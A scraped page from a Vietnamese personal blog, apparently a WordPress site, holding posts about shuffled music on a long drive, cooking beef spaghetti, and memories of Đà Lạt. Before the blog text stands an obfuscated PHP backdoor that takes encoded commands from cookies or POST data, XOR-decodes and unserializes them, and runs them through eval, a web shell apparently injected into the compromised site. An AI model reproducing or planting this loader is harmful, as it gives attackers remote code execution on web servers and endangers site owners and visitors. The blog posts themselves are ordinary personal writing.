$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> anh – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: anh

bài ca tháng sáu

Quãng đường 400km hôm nay không chán lắm, bởi anh ngồi phone cho bạn anh gần hết 2/3 quãng đường. Vả lại, hôm nay anh có cà-phê mẹ pha rất ư là ngon lành.

1/3 thời gian còn lại, bạn bè chả ai thèm trả lời phone anh, anh ngồi nghe nhạc.

Cái gout âm nhạc của anh hết sức là heo và hổ lốn. Anh thuộc loại hoa nào cũng hái, nhạc nào cũng nhảy (nhưng yêu thì chỉ yêu em – à, em nào, anh nhắc lại lần thứ một ngàn là anh vẫn chưa biết). Vì thế, có rất nhiều điều hài hước khi iPod của anh để chế độ Shuffle.

Có những lúc vừa mới gào thét điên cuồng theo giọng hát như nghiền nát thủy tinh của Phil trong “Cowboy from hell” phút trước, phút sau lại trầm ngâm với tiếng acoustic guitar rất nhẹ của “Stairway to heaven”.

Hay là mới nghe Small Fire hổn hển “bao giờ cho đến mùa đông…” lại run nhẹ người với lối nhả chữ đầy thổn thức của Trần Thu Hà trong “Bài ca tháng 6”

***

Em gặp chúng ta khi đã quá già…

Hôm qua anh có chat với một bé tuổi còn rất trẻ. Chẹp, nghe bé ấy bảo: anh già quá, anh mà trẻ lại em tán anh rồi, anh chỉ ngồi mỉm cười chua chát đánh icon 😀 và nhanh chóng quên mất.

Hôm nay chạy xe nghe tới câu trên, mắt anh rưng rưng chợt khóc. Con người ta già rồi lúc khỉ nào cũng tình cảm dạt dào như thế.

***

Azi hôm qua chat với anh có nói:
– Giá mà đi cafe, còn có Noob và GS như xưa…
Anh không phải chủ ý muốn làm bạn anh buồn, nhưng tính anh từ nhỏ thành thật (đặc biệt với các bạn nữ) đã quen, vì thế anh reply:
– Those days has passed away…

Bạn anh ngày nào từng có câu: không ai tắm hai lần trên một dòng sông, lúc đó anh cho là phét lác. Nay nhìn lại mới thấy có vẻ có lý. Mọi thứ qua đi, vốn dĩ không phải là thời gian qua đi, mà là con người – nay – đã – khác – xưa không muốn tìm lại nó.

***

Anh già rồi. Không thể yêu vội vàng như xưa. Không còn những ngày bạ ai cũng tán tỉnh. Giờ anh chín chắn và chân thành hơn rất nhiều. Chỉ tiếc là các bạn không hiểu anh…

Ôi…

B.l.u.e

Anh.

Anh đã mơ về […]

Dạo này có một số bạn lên án anh dữ quá, vu cho anh những thứ mà con người chính trực như anh trước giờ vốn ghét cay ghét đắng, ấy là viết bài chỉ nhằm mục đích tán tỉnh, không thành tâm.

Anh thật, anh buồn lắm.

Tiếc là anh đã lỡ làm tấm gương sáng soi đường của các bạn rồi, anh không thể khóc, chứ giờ đây, từng giọt nước mắt hờn giận vì bị hiểu sai đang chảy trong tim anh [anh vẫn chưa biết tim nằm đâu, mà cứ cho là thế đã].

Các bạn cũng cứ tin là thế nhé.

À, không vòng vo nữa, anh vào chủ đề chính vậy.

Anh là người đàn ông của gia đình, anh vừa nhận ra thế, các bạn à!

Trong nội dung bài này, anh không bàn về những tài năng vô cùng nổi bật của anh – những thứ mà anh biết kể bảy bảy bốn tám, à quên bốn chín ngày cũng không hết, anh chỉ muốn nói tới một vấn đề là anh rất đảm đang. Vâng, rất đảm đang.

Anh cho các bạn dụi mắt vài phút và mời các bạn nghe bài này để thư giãn Tấn Minh – Bức thư tình đầu tiên trước khi đọc tiếp.

Hôm qua anh đi cafe ((Hi-End Sương Nguyệt Ánh)) với bạn Bảo Bảo, bạn Cờ Lau, bé Lam xinh xinh. Bạn Bảo và bạn Cờ Lau gọi Mì Ý Thịt Bò. Mặc dù anh đã ních một bụng đầy ở nhà rồi, nhưng nhìn vẫn thấy thèm. Khi về nhà, anh chợt nảy ra ý nghĩ, người ta làm được, sao mình lại không làm được nhỉ?

Nghĩ là làm, ngay sáng hôm nay, sau khi đi bơi (xin đọc lại post trước để biết con-người-văn-hoá-mới là anh ((http://xanhduong.com/2009/05/con-nguoi-van-hoa-moi/))), anh liền đi mua đủ nguyên liệu để làm món này.

A lê hấp, Mì ý thịt bò, I’m comingggggggggggggg

Đầu tiên, luộc mì với nước lạnh 15′

Luộc Mì

Thịt bò băm nhuyễn (hình như chưa nhuyễn lắm), ướp 2 muỗng canh nước tương

Thịt bò

Cà chua, tiếc là cái máy xay sinh tố nó hư rồi, xay không nhuyễn được, đành tự tay bằm, thiếu nữa thì đi luôn ngón tay rồi hí hí

Cà chua

Vớt mì ra, cho dầu ăn vào

dầu ăn

Bắc chảo dầu nóng lên, bỏ 1 muỗng canh tỏi bằm vào phi cho thơm, cho thịt bò vào xào cùng với cà chua đã xay nhuyễn, cuối cùng cho miếng phomai đầu bò vào

Nấu

Kết quả là đây, anh phải tự khâm phục bản thân anh, giỏi vừa thôi chứ, giỏi gì mà giỏi thế *cười*

Khuyến mãi thêm đĩa rau muống luộc và canh rau muống luộc, 2 món anh thích nhất

Rau muống

Tráng miệng là đây

Vải

Giá mà có thêm

Ken

thì hoàn hảo nhỉ.

Anh đã mơ về […]

Sau này, ngoài việc cứ mỗi chiều khi hoàng hôn xuống, trước căn nhà sơn màu trắng, cửa chớp màu xanh dương, nhìn ra hồ, trên cây piano màu đen tuyền, anh vừa đàn vừa hát những bài tình ca cho vợ anh nghe, thì có lẽ…

…sẽ còn thêm việc, hằng ngày anh nấu ăn cho vợ anh ăn. Hì hì *cười*

Làm vợ anh, nhé!

p/s: Hình chụp bằng điện thoại di động lởm nên không rõ nét được *buồn*..

Đà Lạt

Đà Lạt

Người xuống núi mang về đâu có chắc
Những dịp về còn nữa ở mai sau?
Dặm hồng vàng ai đứng lại nhìn nhau?
((Bùi Giáng – Giã Từ Đà Lạt))

Người ta cho rằng, thói quen nhìn lại quãng đời đã qua của mình thường chỉ có ở người già, những người mà thứ dệt nên cuộc sống của họ, không phải là các gam màu tươi sáng, rõ ràng của hiện tại, mà là một màu “xám” đến nhạt nhoà của quá khứ.

Nàng trong anh cũng là một màu xám, chỉ có điều nàng không nhạt nhoà. Thời gian đã và đang dệt một lớp bụi ngày càng dày hơn lên trên khuôn mặt nàng. Nhưng với anh, nàng không bị che khuất, mà vẫn sống động như ngày nào.

Anh đã từng gắng làm tất cả mọi thứ để quên nàng, từ những hành động đơn giản như tắt TV, hay đóng trình duyệt web mỗi khi tình cờ thấy xuất hiện tên nàng, cho đến những thứ phức tạp hơn như mượn câu châm ngôn “Esse est percipi” ((Tồn tại nghĩa là được nhận thức bằng tri giác)) của Berkeyley để tự ép mình quên.
Chỉ bởi vì nàng vẫn còn tồn tại trong anh.

Nàng rất đẹp. Mọi người ở đất nước này đều nói như thế. Nàng có vẻ dữ dội như những dòng thác ngàn năm chảy mãi, lại có vẻ trầm mặc như những rừng thông xanh bát ngát, hay vẻ mộng mơ phiêu ảo tựa mây trời đên đỉnh Lang Biang.
Ở bên nàng, ai cũng có cảm giác bình yên.

Nàng không phải là người anh yêu nhất, nhưng là người anh nhớ nhất.
Nàng mang lại cho anh cái hạnh phúc tột đỉnh, nhưng cũng chính nàng, thực ra là những kí ức về nàng, dìm anh vào nỗi đau mà đã có những lúc anh tưởng chừng không thoát được.

Chỉ bởi vì, nàng là nhân chứng, cho một cuộc tình – đẹp – nhưng – dang – dở, của anh…

Rồi lại sẽ có ngày, anh trở về thăm nàng, nhưng khi đấy, sẽ là một anh – đầy hạnh phúc.

B.l.u.e.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.